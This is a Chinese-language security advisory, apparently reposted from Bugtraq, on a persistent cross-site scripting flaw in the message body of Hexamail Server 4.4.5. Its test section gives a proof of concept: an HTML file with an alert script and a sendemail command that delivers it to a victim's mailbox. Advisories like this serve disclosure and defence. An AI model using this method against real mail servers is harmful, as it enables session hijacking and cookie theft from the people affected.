Hexamail Server邮件体HTML注入漏洞


发布日期：2012-06-04
更新日期：2012-06-05

受影响系统：
Hexamail Hexamail Server 4.4.5
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 53769

Hexamail Server是一款高级的邮件服务器，支持所有的标准邮件协议。

Hexamail Server 4.4.5在邮件体的实现上存在XSS漏洞，通过发送恶意脚本到受害者电子邮件，邮箱可自动加载邮件体，无需授权，即可允许恶意用户在受害者浏览器中劫持用户会话，重定向用户，窃取Cookie身份验证凭证并控制站点外观。

<*来源：modpr0be
 
  链接：http://www.spentera.com/2012/06/hexamail-server-4-4-5-persistent-xss-vulnerability/
       
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

root@bt:~/# cat > meal.txt
<html>
<body>
<h1>XSS pop up</h1>
<script>alert('Hi, what is this?');</script>
</body>
</html>
root@bt:~/#

Send email to the victim:
root@bt:~/# sendemail -f bob@example.com -t david@example.com -xu bob@example.com \
-xp bob123 -u "Want some meal..?" -o message-file=meal.txt -s mail.example.com

建议：
--------------------------------------------------------------------------------
厂商补丁：

Hexamail
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.hexamail.com/hexamailserver/

相关内容